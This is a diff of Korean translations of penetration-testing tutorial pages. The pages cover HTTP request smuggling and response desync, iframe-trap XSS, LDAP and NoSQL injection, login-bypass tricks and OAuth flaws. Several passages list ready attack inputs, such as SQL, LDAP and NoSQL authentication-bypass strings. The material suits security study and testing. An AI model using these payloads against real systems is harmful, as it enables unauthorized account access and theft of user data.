앞서 설명한 바와 같이, 이 기술을 악용하기 위해서는 **서버에 밀반입된 첫 번째 메시지가 처리되는 데 많은 시간이 걸리도록 해야** 합니다.
앞서 설명한 바와 같이, 이 기술을 악용하기 위해서는 **서버에 밀반입된 첫 번째 메시지가 처리되는 데 많은 시간이 걸리도록** 해야 합니다.
**시간 소모 요청은** 우리가 **희생자의 응답을 훔치려는 경우** 충분합니다. 그러나 더 복잡한 익스플로잇을 수행하려면 익스플로잇의 일반적인 구조가 필요합니다.
**시간 소모 요청은** 우리가 **희생자의 응답을 훔치려고 할 때 충분합니다.** 그러나 더 복잡한 익스플로잇을 수행하려면, 이는 익스플로잇의 일반적인 구조가 될 것입니다.
우선 **HTTP Request Smuggling**을 악용한 **초기** 요청, 그 다음 **시간 소모 요청**, 그리고 **희생자에게 전송될 응답을 포함하는 1개 이상의 페이로드 요청**입니다.
@ -48,47 +48,47 @@ HTTP/1.1은 **이전 요청을 기다리지 않고도 다양한 리소스를 요
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
HTTP Request Smuggling의 알려진 페이로드와 마찬가지로, **희생자의 요청을 훔칠 수 있습니다**. 단, 이 경우 **응답에 반영될 콘텐츠를 보내기만 하면 되며**, **지속적인 저장소** 필요하지 않습니다.
HTTP Request Smuggling의 알려진 페이로드와 마찬가지로, **희생자의 요청을 훔칠 수 있습니다**. 한 가지 중요한 차이점은: 이 경우 **응답에 반영될 콘텐츠를 보내기만 하면 되며**, **지속적인 저장소** 필요하지 않습니다.
먼저, 공격자는 **반영된 매개변수를 포함한 최종 POST 요청**을 포함하는 페이로드를 보내고, 큰 Content-Length를 설정합니다.
![](<../images/image (1053).png>)
그런 다음, **초기 요청**(파란색)이 **처리되고** **수면 중인** 요청이 처리되는 동안(노란색) **희생자로부터 도착하는 다음 요청****반영된 매개변수 바로 뒤에 대기열에 추가됩니다**:
그런 다음, **초기 요청**(파란색)이 **처리되고** **수면 중인** 요청이 처리되는 동안(노란색) **희생자로부터 도착하는 다음 요청이 반영된 매개변수 바로 뒤에 대기열에 추가**됩니다:
![](<../images/image (794).png>)
그 후, **희생자**는 **수면 중인** 요청에 대한 **응답을 받게 되고**, 그 사이에 **공격자가 또 다른 요청을 보냈다면**, **반영된 콘텐츠 요청의 응답이 그에게 전송됩니다**.
그 후, **희생자**는 **수면 중인** 요청에 대한 **응답을 받게 되고**, 그 사이에 **공격자가 또 다른 요청을 보냈다면**, **반영된 콘텐츠 요청의 응답이 그에게 전송**됩니다.
## 응답 비동기화
지금까지 우리는 HTTP Request Smuggling 공격을 악용하여 **클라이언트가 받을 응답을 제어하는 방법**과 **희생자를 위한 응답을 훔치는 방법**을 배웠습니다.
지금까지 우리는 HTTP Request Smuggling 공격을 악용하여 **클라이언트가 받을 응답을 제어**하는 방법과, 그 후 **희생자를 위한 응답을 훔치는 방법**을 배웠습니다.
하지만 여전히 응답을 **더 비동기화**할 수 있습니다.
하지만 여전히 응답을 **더 비동기화**할 수 있는 방법이 있습니다.
**HEAD** 요청과 같은 흥미로운 요청이 있으며, 이는 **응답 본문에 아무 콘텐츠도 포함하지 않아야 하며**, **GET 요청인 것처럼 Content-Length를 포함해야 합니다**.
**HEAD** 요청과 같은 흥미로운 요청이 있으며, 이는 **응답 본문에 아무 콘텐츠도 포함하지 않아야 하며**, **GET 요청인 것처럼 요청의 Content-Length를 포함해야 합니다**.
따라서 공격자가 **HEAD** 요청을 **주입**하면, 다음과 같은 이미지와 같이:
![](<../images/image (1107).png>)
그런 다음, **파란색 요청이 공격자에게 응답되면**, 다음 희생자의 요청이 대기열에 추가됩니다:
그런 다음, **파란색 요청이 공격자에게 응답**되면, 다음 희생자의 요청이 대기열에 추가됩니다:
![](<../images/image (999).png>)
그 후, **희생자**는 **HEAD** 요청의 **응답을 받게 되며**, 이는 **Content-Length는 포함하지만 콘텐츠는 전혀 포함하지 않니다**. 따라서 프록시는 **이 응답을 희생자에게 전송하지 않고**, **어떤 콘텐츠**를 기다리게 되며, 이는 실제로 **노란색 요청에 대한 응답**(공격자가 주입한 것)입니다:
그 후, **희생자**는 **HEAD** 요청의 **응답을 받게 되며**, 이는 **Content-Length는 포함하지만 콘텐츠는 전혀 포함하지 않을 것입니다**. 따라서 프록시는 **이 응답을 희생자에게 전송하지 않고**, **어떤 콘텐츠**를 기다리게 되며, 이는 실제로 **노란색 요청에 대한 응답**이 될 것입니다(공격자가 주입한):
![](<../images/image (735).png>)
### 콘텐츠 혼란
이전 예제를 따라, **희생자가 받을 응답의 본문을 제어할 수 있고**, **HEAD** **응답**이 일반적으로 **Content-Type과 Content-Length**를 헤더에 포함한다는 것을 알고 있다면, **다음과 같은 요청을 보내어** 희생자에게 XSS를 유발할 수 있습니다. 페이지가 XSS에 취약하지 않더라도:
이전 예제를 따라, **희생자가 받을 응답의 본문을 제어할 수 있고**, **HEAD** **응답**이 일반적으로 **Content-Type과 Content-Length**를 헤더에 포함한다는 것을 알고 있다면, 다음과 같은 요청을 **보내서 희생자에게 XSS를 유발**할 수 있습니다. 페이지가 XSS에 취약하지 않더라도:
![](<../images/image (688).png>)
### 캐시 오염
이전에 언급한 응답 비동기화 콘텐츠 혼란 공격을 악용하, **캐시가 희생자가 수행한 요청에 대한 응답을 저장하고 이 응답이 XSS를 유발하는 주입된 것이라면, 캐시는 오염됩니다**.
이전에 언급한 응답 비동기화 콘텐츠 혼란 공격을 악용하, **캐시가 희생자가 수행한 요청에 대한 응답을 저장하고 이 응답이 XSS를 유발하는 주입된 것이라면, 캐시는 오염됩니다**.
XSS 페이로드를 포함한 악의적인 요청:
@ -103,21 +103,21 @@ XSS 페이로드를 포함한 악의적인 요청:
### 웹 캐시 기만
이 공격은 이전 공격과 유사하지만, **캐시에 페이로드를 주입하는 대신 공격자는 캐시 내에 희생자 정보를 캐시합니다**:
이 공격은 이전 공격과 유사하지만, **캐시에 페이로드를 주입하는 대신 공격자는 캐시 내에 희생자 정보를 저장할 것입니다:**
![](<../images/image (991).png>)
### 응답 분할
이 공격의 **목표**는 다시 **응답 비동기화**를 악용하여 **프록시가 100% 공격자가 생성한 응답을 전송하도록 만드는 것**입니다.
이 공격의 **목표**는 다시 **응답 비동기화**를 악용하여 **프록시가 100% 공격자가 생성한 응답을 전송하 만드는 것**입니다.
이를 달성하기 위해 공격자는 **응답 내에서 일부 값을 반영하는 웹 애플리케이션의 엔드포인트를 찾아야** 하며, **HEAD 응답의 콘텐츠 길이를 알아야** 합니다.
이를 달성하기 위해 공격자는 **응답 내에서 일부 값을 반영하는 웹 애플리케이션의 엔드포인트를 찾아야 하며**, **HEAD 응답의 콘텐츠 길이를 알아야 합니다**.
그는 다음과 같은 **익스플로잇**을 보낼 것입니다:
![](<../images/image (911).png>)
첫 번째 요청이 해결되고 공격자에게 전송된 후, **희생자의 요청이 대기열에 추가됩니다**:
첫 번째 요청이 해결되고 공격자에게 전송된 후, **희생자의 요청이 대기열에 추가**됩니다:
![](<../images/image (737).png>)
@ -125,7 +125,7 @@ XSS 페이로드를 포함한 악의적인 요청:
![](<../images/image (356).png>)
그러나 **반영된 데이터가 HEAD 응답의 Content-Length에 따라 크기가 조정되어** **응답 대기열에서 유효한 HTTP 응답을 생성했습니다**.
그러나 **반영된 데이터가 HEAD 응답의 Content-Length에 따라 크기가 조정되어** 응답 대기열에서 유효한 HTTP 응답을 생성했다는 점에 유의하십시오.
따라서 **두 번째 희생자의 다음 요청은** **공격자가 완전히 제작한 응답을 받게 됩니다**. 응답이 공격자에 의해 완전히 제작되었기 때문에, 그는 또한 **프록시가 응답을 캐시하도록 만들 수 있습니다**.

View File

@ -6,11 +6,11 @@
이 iframe을 통한 XSS 악용 형태는 사용자가 웹 페이지를 이동하면서 정보를 훔치는 방법으로, trustedsec.com의 두 게시물에서 처음 발표되었습니다: [**여기**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **및** [**여기**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
공격은 XSS에 취약한 페이지에서 시작되며, **희생자가 XSS를 떠나지 않도록** 하여 **iframe 내에서 탐색하게** 만듭니다. 이 iframe은 전체 웹 애플리케이션을 차지합니다.
공격은 XSS에 취약한 페이지에서 시작되며, **희생자가 XSS를 떠나지 않도록** 하여 **iframe 내에서 탐색**하게 만듭니다. 이 iframe은 전체 웹 애플리케이션을 차지합니다.
XSS 공격은 기본적으로 화면의 100%에 웹 페이지를 iframe으로 로드합니다. 따라서 희생자는 **iframe 안에 있다는 것을 인식하지 못합니다**. 그런 다음, 희생자가 iframe 내의 링크를 클릭하여 페이지를 탐색하면, 그는 **iframe 내에서 탐색하고** 있으며, 이 탐색에서 정보를 훔치는 임의의 JS가 로드됩니다.
XSS 공격은 기본적으로 화면의 100%에 웹 페이지를 iframe으로 로드합니다. 따라서 희생자는 **iframe 안에 있다는 것을 인식하지 못합니다**. 그런 다음, 희생자가 iframe 내의 링크를 클릭하여 페이지를 탐색하면, 그는 **iframe 내에서 탐색**하게 되며, 이 탐색에서 정보를 훔치는 임의의 JS가 로드됩니다.
또한, 더 현실감 있게 만들기 위해, iframe이 페이지의 위치를 변경할 때 확인하는 **리스너**를 사용하여 사용자가 브라우저를 사용하여 페이지를 이동하고 있다고 생각하는 위치로 브라우저의 URL을 업데이트할 수 있습니다.
또한, 더 현실감 있게 만들기 위해, iframe이 페이지의 위치를 변경할 때 확인하는 **리스너**를 사용하여 사용자가 브라우저를 사용하여 페이지를 이동하고 있다고 생각하는 위치로 브라우저의 URL을 업데이트할 수 있습니다.
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
@ -18,6 +18,6 @@ XSS 공격은 기본적으로 화면의 100%에 웹 페이지를 iframe으로
또한, 리스너를 사용하여 희생자가 방문하는 다른 페이지뿐만 아니라 **양식에 입력된 데이터**를 훔치거나 (자격 증명?) **로컬 스토리지를 훔치는** 것도 가능합니다...
물론, 주요 제한 사항은 **희생자가 탭을 닫거나 브라우저에 다른 URL을 입력하면 iframe에서 벗어난다는** 것입니다. 이를 수행하는 또 다른 방법은 **페이지를 새로 고치는 것**이지만, 이는 iframe 내에서 새 페이지가 로드될 때마다 오른쪽 클릭 컨텍스트 메뉴를 비활성화하거나 사용자의 마우스가 iframe을 떠나는 것을 감지하여 브라우저의 새로 고침 버튼을 클릭할 가능성을 방지함으로써 부분적으로 **방지될 수 있습니다**. 이 경우 브라우저의 URL은 XSS에 취약한 원래 URL로 업데이트되므로 사용자가 이를 새로 고치면 다시 감염됩니다 (이는 매우 은밀하지 않다는 점에 유의하십시오).
물론, 주요 제한 사항은 **희생자가 탭을 닫거나 브라우저에 다른 URL을 입력하면 iframe에서 벗어난다는 것입니다**. 이를 수행하는 또 다른 방법은 **페이지를 새로 고치는 것**이지만, 이는 iframe 내에서 새 페이지가 로드될 때마다 오른쪽 클릭 컨텍스트 메뉴를 비활성화하거나 사용자의 마우스가 iframe을 떠나는 것을 감지하여 브라우저의 새로 고침 버튼을 클릭할 가능성을 방지함으로써 부분적으로 **방지될 수 있습니다**. 이 경우 브라우저의 URL은 XSS에 취약한 원래 URL로 업데이트되므로 사용자가 이를 새로 고치면 다시 감염됩니다 (이는 매우 은밀하지 않다는 점에 유의하십시오).
{{#include ../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 목표로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -38,13 +38,13 @@
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
데이터베이스에 접근할 수 있으며, 이 데이터베이스는 다양한 유형의 정보를 포함할 수 있습니다.
데이터베이스에 접근할 수 있으며, 이는 다양한 유형의 정보를 포함할 수 있습니다.
**OpenLDAP**: 2개의 필터가 도착하면 첫 번째 필터만 실행합니다.\
**ADAM 또는 Microsoft LDS**: 2개의 필터가 있을 경우 오류가 발생합니다.\
**SunOne Directory Server 5.0**: 두 필터를 모두 실행합니다.
**ADAM 또는 Microsoft LDS**: 2개의 필터가 있으면 오류가 발생합니다.\
**SunOne Directory Server 5.0**: 두 개의 필터를 모두 실행합니다.
**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 1개만 전송하는 것이 좋습니다.**
**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 전송하는 것이 좋습니다.**
필터는 다음으로 시작해야 합니다: `&` 또는 `|`\
예: `(&(directory=val1)(folder=public))`
@ -148,7 +148,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
#### **유효한 LDAP 필드 발견**
LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다**. 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다**. [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests

View File

@ -4,30 +4,30 @@
## **정상 로그인 우회**
로그인 페이지를 찾으면, 이를 우회하기 위해 시도할 수 있는 몇 가지 기술이 있습니다:
로그인 페이지를 찾으면, 우회하기 위해 시도할 수 있는 몇 가지 기술이 있습니다:
- 페이지 내 **주석** 확인 (아래로 스크롤하고 오른쪽으로?)
- **제한된 페이지에 직접 접근**할 수 있는지 확인
- **매개변수를 전송하지 않기** (아무것도 보내지 않거나 1개만 보내기)
- **PHP 비교 오류** 확인: `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b`
- **매개변수를 전송하지 않기** (아무것도 전송하지 않거나 1개만 전송)
- **PHP 비교 오류 확인:** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b`
- **내용 유형을 json으로 변경**하고 json 값을 전송 (bool true 포함)
- POST가 지원되지 않는다는 응답을 받으면 **GET 요청으로 본문에 JSON을 전송**해 볼 수 있습니다: `Content-Type: application/json`
- nodejs의 잠재적 파싱 오류 확인 (읽어보세요 [**이것**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- POST가 지원되지 않는다는 응답을 받으면 **GET 요청으로 본문에 JSON을 전송**해 볼 수 있습니다. `Content-Type: application/json`
- nodejs의 잠재적 파싱 오류 확인 (읽 [**이것**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs는 해당 페이로드를 다음과 유사한 쿼리로 변환합니다: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 이는 비밀번호 비트가 항상 true가 되도록 만듭니다.
- JSON 객체를 보낼 수 있다면 `"password":{"password": 1}`보내 로그인 우회.
- 이 로그인을 우회하려면 여전히 **유효한 사용자 이름을 알고 보내야** 합니다.
- JSON 객체를 보낼 수 있다면 `"password":{"password": 1}`전송하여 로그인을 우회할 수 있습니다.
- 이 로그인을 우회하려면 여전히 **유효한 사용자 이름을 알고 전송해야** 한다는 점을 기억하세요.
- `mysql.createConnection`을 호출할 때 **`"stringifyObjects":true`** 옵션을 추가하면 **매개변수로 `Object`가 전달될 때 모든 예기치 않은 동작을 차단**할 수 있습니다.
- 자격 증명 확인:
- 사용 중인 기술/플랫폼의 [**기본 자격 증명**](../../generic-hacking/brute-force.md#default-credentials)
- **일반 조합** (root, admin, password, 기술 이름, 이러한 비밀번호 중 하나를 가진 기본 사용자).
- **Cewl**을 사용하여 사전을 만들고 **기본** 사용자 이름과 비밀번호(있는 경우)를 추가한 후 모든 단어를 **사용자 이름과 비밀번호**로 사용하여 무차별 대입 시도.
- **Cewl**을 사용하여 사전을 만들고 **기본** 사용자 이름과 비밀번호(있는 경우)를 추가한 후 모든 단어를 **사용자 이름과 비밀번호**로 사용하여 무차별 대입 시도
- 더 큰 **사전**을 사용하여 **무차별 대입** (**[**무차별 대입**](../../generic-hacking/brute-force.md#http-post-form)**)
### SQL 인젝션 인증 우회
[여기에서 **SQL 인젝션**을 통해 로그인을 우회하는 여러 가지 요령을 찾을 수 있습니다](../sql-injection/#authentication-bypass).
다음 페이지에서는 SQL 인젝션을 통해 로그인 우회를 시도할 수 있는 **사용자 정의 목록**을 찾을 수 있습니다:
다음 페이지에서는 SQL 인젝션을 통해 로그인을 우회하기 위해 시도할 수 있는 **사용자 정의 목록**을 찾을 수 있습니다:
{{#ref}}
sql-login-bypass.md
@ -41,7 +41,7 @@ NoSQL 인젝션은 매개변수 값을 변경해야 하므로 수동으로 테
### XPath 인젝션 인증 우회
[여기에서 **XPath 인젝션**을 통해 로그인을 우회하는 여러 가지 요령을 찾을 수 있습니다](../xpath-injection.md#authentication-bypass)
[여기에서 **XPath 인젝션**을 통해 로그인을 우회하는 여러 가지 요령을 찾을 수 있습니다.](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -75,11 +75,11 @@ admin))(|(|
```
### Remember Me
페이지에 "**Remember Me**" 기능이 있는 경우, 그것이 어떻게 구현되는지 확인하고 이를 악용하여 **다른 계정을 탈취**할 수 있는지 확인하세요.
페이지에 "**Remember Me**" 기능이 있는 경우, 그것이 어떻게 구현되어 있는지 확인하고 이를 악용하여 **다른 계정을 탈취**할 수 있는지 확인하세요.
### Redirects
페이지는 일반적으로 로그인 후 사용자를 리디렉션합니다. 그 리디렉션을 변경하여 [**Open Redirect**](../open-redirect.md)를 유발할 수 있는지 확인하세요. 사용자를 귀하의 웹사이트로 리디렉션하면 일부 정보(코드, 쿠키 등)를 훔칠 수 있을지도 모릅니다.
페이지는 일반적으로 로그인 후 사용자를 리디렉션합니다. 그 리디렉션을 변경하여 [**Open Redirect**](../open-redirect.md)를 유발할 수 있는지 확인하세요. 사용자를 귀하의 웹로 리디렉션하면 일부 정보(코드, 쿠키 등)를 훔칠 수 있을지도 모릅니다.
## Other Checks

View File

@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
```
### 기본 인증 우회
**not equal ($ne) 또는 greater ($gt) 사용**
**같지 않음 ($ne) 또는 큼 ($gt) 사용**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -223,7 +223,7 @@ get_password(u)
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## 참고문헌
## 참고자료
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)

View File

@ -6,23 +6,23 @@
OAuth는 다양한 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 documentation](https://oauth.net/2/)에서 확인할 수 있습니다. 이 논의는 주로 널리 사용되는 [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **애플리케이션이 다른 애플리케이션의 사용자 계정에 접근하거나 작업을 수행할 수 있도록 하는 인증 프레임워크**를 제공합니다.
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인 게시물도 포함하여. 이를 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청되는 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하의 승인이 이루어지면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력을 게 됩니다**.
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인 게시물도 포함하여. 이를 달성하기 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청되는 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하의 승인이 이루어지면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력을 게 됩니다**.
OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이 중요합니다:
- **resource owner**: 귀하, 즉 **사용자/엔티티**로서 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
- **resource server**: **인증된 요청을 관리하는 서버**로, 애플리케이션이 `access token`을 `resource owner`를 대신하여 확보한 후에 작동합니다. 예: **https://socialmedia.com**.
- **client application**: `resource owner`로부터 **승인을 요청하는 애플리케이션**입니다. 예: **https://example.com**.
- **authorization server**: `resource owner`의 성공적인 인증 후 `client application``access tokens`를 발급하는 **서버**입니다. 예: **https://socialmedia.com**.
- **client_id**: 애플리케이션의 공개 고유 식별자입니다.
- **resource owner**: 귀하, 즉 **사용자/엔티티** 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
- **resource server**: **`access token`을 확보한 후 인증된 요청을 관리하는 서버**, 예: **https://socialmedia.com**.
- **client application**: **`resource owner`로부터 권한을 요청하는 애플리케이션**, 예: **https://example.com**.
- **authorization server**: **`resource owner`의 성공적인 인증 후 `client application``access tokens`를 발급하는 서버**, 예: **https://socialmedia.com**.
- **client_id**: 애플리케이션의 공개 고유 식별자.
- **client_secret:** 애플리케이션과 인증 서버만 알고 있는 비밀 키로, `access_tokens`를 생성하는 데 사용됩니다.
- **response_type**: **요청된 토큰의 유형**을 지정하는 값입니다. 예: `code`.
- **scope**: `client application``resource owner`로부터 요청하는 **접근 수준**입니다.
- **redirect_uri**: **사용자가 승인 후 리디렉션되는 URL**입니다. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
- **state**: **사용자의 인증 서버로의 리디렉션 간 데이터를 유지하기 위한 매개변수**입니다. 고유성이 **CSRF 보호 메커니즘**으로 작용하는 데 중요합니다.
- **grant_type**: **부여 유형과 반환될 토큰의 유형**을 나타내는 매개변수입니다.
- **code**: `authorization server`에서 발급된 인증 코드로, `client application``access_token`을 획득하기 위해 `client_id``client_secret`과 함께 사용합니다.
- **access_token**: **클라이언트 애플리케이션이 `resource owner`를 대신하여 API 요청에 사용하는 토큰**입니다.
- **response_type**: **요청된 토큰의 유형**을 지정하는 값, 예: `code`.
- **scope**: `client application``resource owner`로부터 요청하는 **접근 수준**.
- **redirect_uri**: **사용자가 인증 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
- **state**: **사용자의 인증 서버로의 리디렉션 간 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로 작용하는 데 중요합니다.
- **grant_type**: **부여 유형 및 반환될 토큰 유형을 나타내는 매개변수**.
- **code**: `authorization server`에서 발급된 인증 코드로, `client application``access_token`을 획득하는 데 `client_id``client_secret`과 함께 사용됩니다.
- **access_token**: **`resource owner`를 대신하여 API 요청에 사용하는 클라이언트 애플리케이션의 토큰**.
- **refresh_token**: 애플리케이션이 **사용자에게 다시 요청하지 않고 새로운 `access_token`을 얻을 수 있게 해줍니다**.
### Flow
@ -30,7 +30,7 @@ OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이
**실제 OAuth 흐름**은 다음과 같이 진행됩니다:
1. 귀하는 [https://example.com](https://example.com)으로 이동하여 “소셜 미디어와 통합” 버튼을 선택합니다.
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션에 대한 승인을 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션이 허가를 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
```
https://socialmedia.com/auth
?response_type=code
@ -58,7 +58,7 @@ Host: socialmedia.com
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 매우 중요하며, 이는 민감한 데이터(예: 인증 코드)가 인증 후 전송되는 위치를 지정합니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악성 서버로 리디렉션할 수 있어 계정 탈취를 가능하게 합니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법에는 오픈 리디렉션, 경로 탐색, 약한 정규 표현식 악용, 토큰 탈취를 위한 HTML 주입이 포함됩니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 수용하는 것까지 다양합니다. 일반적인 악용 방법에는 열린 리디렉션, 경로 탐색, 약한 정규 표현식 악용 및 토큰 도용을 위한 HTML 주입이 포함됩니다.
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 서버마다 지원이 다릅니다.
@ -82,7 +82,7 @@ OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
1. **계정 생성 시 이메일 검증 없**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 이후 피해자가 로그인 시 제3자 서비스를 사용하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
1. **계정 생성 시 이메일 검증 없**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인 시 제3자 서비스를 사용하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
2. **느슨한 OAuth 이메일 검증 악용**: 공격자는 이메일을 검증하지 않는 OAuth 서비스를 악용하여 자신의 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 접근의 위험을 초래하지만, 다른 공격 벡터를 통해 이루어집니다.
### 비밀 정보의 노출 <a href="#e177" id="e177"></a>
@ -106,19 +106,19 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
클라이언트가 **코드와 상태**를 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면**, 이는 취약합니다.
클라이언트가 **코드와 상태**를 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면**, 취약합니다.
### Access Token Stored in Browser History
**브라우저 기록으로 가서 액세스 토큰이 저장되어 있는지 확인하세요.**
**브라우저 기록으로 가서 액세스 토큰이 저장되어 있는지 확인하세요**.
### Everlasting Authorization Code
**인증 코드는 공격자가 이를 훔치고 사용할 수 있는 시간 창을 제한하기 위해 잠시만 존재해야 합니다.**
**인증 코드는 공격자가 훔치고 사용할 수 있는 시간 창을 제한하기 위해 잠시만 존재해야 합니다**.
### Authorization/Refresh Token not bound to client
**인증 코드를 얻고 이를 다른 클라이언트와 함께 사용할 수 있다면, 다른 계정을 탈취할 수 있습니다.**
**인증 코드를 얻고 다른 클라이언트와 함께 사용할 수 있다면, 다른 계정을 탈취할 수 있습니다**.
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
